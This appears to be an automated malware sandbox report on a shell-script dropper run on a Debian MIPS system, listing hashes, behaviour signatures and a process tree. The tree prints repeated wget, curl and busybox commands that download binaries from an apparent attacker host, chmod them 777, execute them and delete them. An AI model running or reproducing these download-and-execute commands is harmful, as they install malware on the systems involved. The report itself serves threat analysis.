Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25/10/2024, 01:12

General

  • Target

    19a71eb81c8fd44171b07fe5b4f687a33a8188058d345e567bea9cae37fcf912.sh

  • Size

    10KB

  • MD5

    f36cbd463f4b21236b1338c03dbfd8e4

  • SHA1

    22a27ede29be8ec1c42b17c43a162e2d9ab3a265

  • SHA256

    19a71eb81c8fd44171b07fe5b4f687a33a8188058d345e567bea9cae37fcf912

  • SHA512

    74f54cf55aaa5b35951ff883a64e3a584f03c6952de36b92558993d20093f641c9f3aab6c7d659cef4c8c0cf84b8762f370d1ed768b48d717f130bd7f6f91e9a

  • SSDEEP

    96:Yqin/wN/wN/w7vQ4vxL1VMQWGmXr87XnNHNbNk3WKJUIEBL7XMWxWpWhC+kacagk:C6eET5AQtxk3vJ+tqkotxk3vb36eETGB

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 37 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/19a71eb81c8fd44171b07fe5b4f687a33a8188058d345e567bea9cae37fcf912.sh
    /tmp/19a71eb81c8fd44171b07fe5b4f687a33a8188058d345e567bea9cae37fcf912.sh
    1⤵
      PID:700
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/3aNSf0BpemYuLYcNWfErzLnH5C7UtSIHTH
          2⤵
          • System Network Configuration Discovery
          PID:709
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/3aNSf0BpemYuLYcNWfErzLnH5C7UtSIHTH
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/3aNSf0BpemYuLYcNWfErzLnH5C7UtSIHTH
          2⤵
          • System Network Configuration Discovery
          PID:731
        • /bin/chmod
          chmod 777 3aNSf0BpemYuLYcNWfErzLnH5C7UtSIHTH
          2⤵
          • File and Directory Permissions Modification
          PID:732
        • /tmp/3aNSf0BpemYuLYcNWfErzLnH5C7UtSIHTH
          ./3aNSf0BpemYuLYcNWfErzLnH5C7UtSIHTH
          2⤵
          • Executes dropped EXE
          PID:733
        • /bin/rm
          rm 3aNSf0BpemYuLYcNWfErzLnH5C7UtSIHTH
          2⤵
            PID:735
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/q8by6B3GMmnW2fqzokCod3DStJogu7sm1h
            2⤵
            • System Network Configuration Discovery
            PID:736
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/q8by6B3GMmnW2fqzokCod3DStJogu7sm1h
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:737
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/q8by6B3GMmnW2fqzokCod3DStJogu7sm1h
            2⤵
            • System Network Configuration Discovery
            PID:739
          • /bin/chmod
            chmod 777 q8by6B3GMmnW2fqzokCod3DStJogu7sm1h
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/q8by6B3GMmnW2fqzokCod3DStJogu7sm1h
            ./q8by6B3GMmnW2fqzokCod3DStJogu7sm1h
            2⤵
            • Executes dropped EXE
            PID:741
          • /bin/rm
            rm q8by6B3GMmnW2fqzokCod3DStJogu7sm1h
            2⤵
              PID:742
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/eIDn1FWa483JBcYsoWG96lTXfQiBNztHPM
              2⤵
              • System Network Configuration Discovery
              PID:743
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/eIDn1FWa483JBcYsoWG96lTXfQiBNztHPM
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:744
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/eIDn1FWa483JBcYsoWG96lTXfQiBNztHPM
              2⤵
              • System Network Configuration Discovery
              PID:749
            • /bin/chmod
              chmod 777 eIDn1FWa483JBcYsoWG96lTXfQiBNztHPM
              2⤵
              • File and Directory Permissions Modification
              PID:750
            • /tmp/eIDn1FWa483JBcYsoWG96lTXfQiBNztHPM
              ./eIDn1FWa483JBcYsoWG96lTXfQiBNztHPM
              2⤵
              • Executes dropped EXE
              PID:751
            • /bin/rm
              rm eIDn1FWa483JBcYsoWG96lTXfQiBNztHPM
              2⤵
                PID:752
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/Vcjdj0XuQTaNEPMpTFyEL5k0eOnGHaDuJd
                2⤵
                • System Network Configuration Discovery
                PID:753
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/Vcjdj0XuQTaNEPMpTFyEL5k0eOnGHaDuJd
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:778
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/Vcjdj0XuQTaNEPMpTFyEL5k0eOnGHaDuJd
                2⤵
                • System Network Configuration Discovery
                PID:788
              • /bin/chmod
                chmod 777 Vcjdj0XuQTaNEPMpTFyEL5k0eOnGHaDuJd
                2⤵
                • File and Directory Permissions Modification
                PID:795
              • /tmp/Vcjdj0XuQTaNEPMpTFyEL5k0eOnGHaDuJd
                ./Vcjdj0XuQTaNEPMpTFyEL5k0eOnGHaDuJd
                2⤵
                • Executes dropped EXE
                PID:797
              • /bin/rm
                rm Vcjdj0XuQTaNEPMpTFyEL5k0eOnGHaDuJd
                2⤵
                  PID:801
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/SjyjmGflw0egcp8d0nmWVBxaDRQ7dfaWtM
                  2⤵
                  • System Network Configuration Discovery
                  PID:803
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/SjyjmGflw0egcp8d0nmWVBxaDRQ7dfaWtM
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:806
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/SjyjmGflw0egcp8d0nmWVBxaDRQ7dfaWtM
                  2⤵
                  • System Network Configuration Discovery
                  PID:808
                • /bin/chmod
                  chmod 777 SjyjmGflw0egcp8d0nmWVBxaDRQ7dfaWtM
                  2⤵
                  • File and Directory Permissions Modification
                  PID:809
                • /tmp/SjyjmGflw0egcp8d0nmWVBxaDRQ7dfaWtM
                  ./SjyjmGflw0egcp8d0nmWVBxaDRQ7dfaWtM
                  2⤵
                  • Executes dropped EXE
                  PID:810
                • /bin/rm
                  rm SjyjmGflw0egcp8d0nmWVBxaDRQ7dfaWtM
                  2⤵
                    PID:811
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/EVhdGSzJ8XafWYyWC9UhSMEVlr7kcvP0pI
                    2⤵
                    • System Network Configuration Discovery
                    PID:812
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/EVhdGSzJ8XafWYyWC9UhSMEVlr7kcvP0pI
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:813
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/EVhdGSzJ8XafWYyWC9UhSMEVlr7kcvP0pI
                    2⤵
                    • System Network Configuration Discovery
                    PID:815
                  • /bin/chmod
                    chmod 777 EVhdGSzJ8XafWYyWC9UhSMEVlr7kcvP0pI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:816
                  • /tmp/EVhdGSzJ8XafWYyWC9UhSMEVlr7kcvP0pI
                    ./EVhdGSzJ8XafWYyWC9UhSMEVlr7kcvP0pI
                    2⤵
                    • Executes dropped EXE
                    PID:817
                  • /bin/rm
                    rm EVhdGSzJ8XafWYyWC9UhSMEVlr7kcvP0pI
                    2⤵
                      PID:818
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/v7o2vu9VOSYr9RFaaxFn58alzY9ZcADZkG
                      2⤵
                      • System Network Configuration Discovery
                      PID:819
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/v7o2vu9VOSYr9RFaaxFn58alzY9ZcADZkG
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:820
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/v7o2vu9VOSYr9RFaaxFn58alzY9ZcADZkG
                      2⤵
                      • System Network Configuration Discovery
                      PID:825
                    • /bin/chmod
                      chmod 777 v7o2vu9VOSYr9RFaaxFn58alzY9ZcADZkG
                      2⤵
                      • File and Directory Permissions Modification
                      PID:829
                    • /tmp/v7o2vu9VOSYr9RFaaxFn58alzY9ZcADZkG
                      ./v7o2vu9VOSYr9RFaaxFn58alzY9ZcADZkG
                      2⤵
                      • Executes dropped EXE
                      PID:830
                    • /bin/rm
                      rm v7o2vu9VOSYr9RFaaxFn58alzY9ZcADZkG
                      2⤵
                        PID:833
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/GKyWNiCoJn86WBFRFfBxcd3ee3bCMAF32B
                        2⤵
                        • System Network Configuration Discovery
                        PID:834
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/GKyWNiCoJn86WBFRFfBxcd3ee3bCMAF32B
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:841
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/GKyWNiCoJn86WBFRFfBxcd3ee3bCMAF32B
                        2⤵
                        • System Network Configuration Discovery
                        PID:851
                      • /bin/chmod
                        chmod 777 GKyWNiCoJn86WBFRFfBxcd3ee3bCMAF32B
                        2⤵
                        • File and Directory Permissions Modification
                        PID:854
                      • /tmp/GKyWNiCoJn86WBFRFfBxcd3ee3bCMAF32B
                        ./GKyWNiCoJn86WBFRFfBxcd3ee3bCMAF32B
                        2⤵
                        • Executes dropped EXE
                        PID:855
                      • /bin/rm
                        rm GKyWNiCoJn86WBFRFfBxcd3ee3bCMAF32B
                        2⤵
                          PID:858
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/GNUqi1zjsQ4wvDxdXdJvuBXUr67j04Muzg
                          2⤵
                          • System Network Configuration Discovery
                          PID:859
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/GNUqi1zjsQ4wvDxdXdJvuBXUr67j04Muzg
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:864
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/GNUqi1zjsQ4wvDxdXdJvuBXUr67j04Muzg
                          2⤵
                          • System Network Configuration Discovery
                          PID:866
                        • /bin/chmod
                          chmod 777 GNUqi1zjsQ4wvDxdXdJvuBXUr67j04Muzg
                          2⤵
                          • File and Directory Permissions Modification
                          PID:867
                        • /tmp/GNUqi1zjsQ4wvDxdXdJvuBXUr67j04Muzg
                          ./GNUqi1zjsQ4wvDxdXdJvuBXUr67j04Muzg
                          2⤵
                          • Executes dropped EXE
                          PID:868
                        • /bin/rm
                          rm GNUqi1zjsQ4wvDxdXdJvuBXUr67j04Muzg
                          2⤵
                            PID:869
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/KtV8T5zTu7QiVqRc8UHIEma3TOFeTUG0wj
                            2⤵
                            • System Network Configuration Discovery
                            PID:870
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/KtV8T5zTu7QiVqRc8UHIEma3TOFeTUG0wj
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:871
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/KtV8T5zTu7QiVqRc8UHIEma3TOFeTUG0wj
                            2⤵
                            • System Network Configuration Discovery
                            PID:873
                          • /bin/chmod
                            chmod 777 KtV8T5zTu7QiVqRc8UHIEma3TOFeTUG0wj
                            2⤵
                            • File and Directory Permissions Modification
                            PID:874
                          • /tmp/KtV8T5zTu7QiVqRc8UHIEma3TOFeTUG0wj
                            ./KtV8T5zTu7QiVqRc8UHIEma3TOFeTUG0wj
                            2⤵
                            • Executes dropped EXE
                            PID:875
                          • /bin/rm
                            rm KtV8T5zTu7QiVqRc8UHIEma3TOFeTUG0wj
                            2⤵
                              PID:876
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/IdRS9nBDHnZD8p101yno4K0ZpPPOp7HROy
                              2⤵
                              • System Network Configuration Discovery
                              PID:877
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/IdRS9nBDHnZD8p101yno4K0ZpPPOp7HROy
                              2⤵
                              • Reads runtime system information
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:878
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/IdRS9nBDHnZD8p101yno4K0ZpPPOp7HROy
                              2⤵
                              • System Network Configuration Discovery
                              PID:880
                            • /bin/chmod
                              chmod 777 IdRS9nBDHnZD8p101yno4K0ZpPPOp7HROy
                              2⤵
                              • File and Directory Permissions Modification
                              PID:881
                            • /tmp/IdRS9nBDHnZD8p101yno4K0ZpPPOp7HROy
                              ./IdRS9nBDHnZD8p101yno4K0ZpPPOp7HROy
                              2⤵
                              • Executes dropped EXE
                              PID:882
                            • /bin/rm
                              rm IdRS9nBDHnZD8p101yno4K0ZpPPOp7HROy
                              2⤵
                                PID:883
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/IXu4NKim69GhfvWnrY8TwQfD0wCsFWL2pc
                                2⤵
                                • System Network Configuration Discovery
                                PID:884
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/IXu4NKim69GhfvWnrY8TwQfD0wCsFWL2pc
                                2⤵
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:885
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/IXu4NKim69GhfvWnrY8TwQfD0wCsFWL2pc
                                2⤵
                                • System Network Configuration Discovery
                                PID:888
                              • /bin/chmod
                                chmod 777 IXu4NKim69GhfvWnrY8TwQfD0wCsFWL2pc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:889
                              • /tmp/IXu4NKim69GhfvWnrY8TwQfD0wCsFWL2pc
                                ./IXu4NKim69GhfvWnrY8TwQfD0wCsFWL2pc
                                2⤵
                                • Executes dropped EXE
                                PID:890
                              • /bin/rm
                                rm IXu4NKim69GhfvWnrY8TwQfD0wCsFWL2pc
                                2⤵
                                  PID:891
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/XrxFEUmIkSPL2gpsWYGKA4GUVIwMDVApF5
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:892

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/3aNSf0BpemYuLYcNWfErzLnH5C7UtSIHTH

                                Filesize

                                153B

                                MD5

                                998368d7c95ea4293237f2320546e440

                                SHA1

                                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                SHA256

                                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                SHA512

                                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97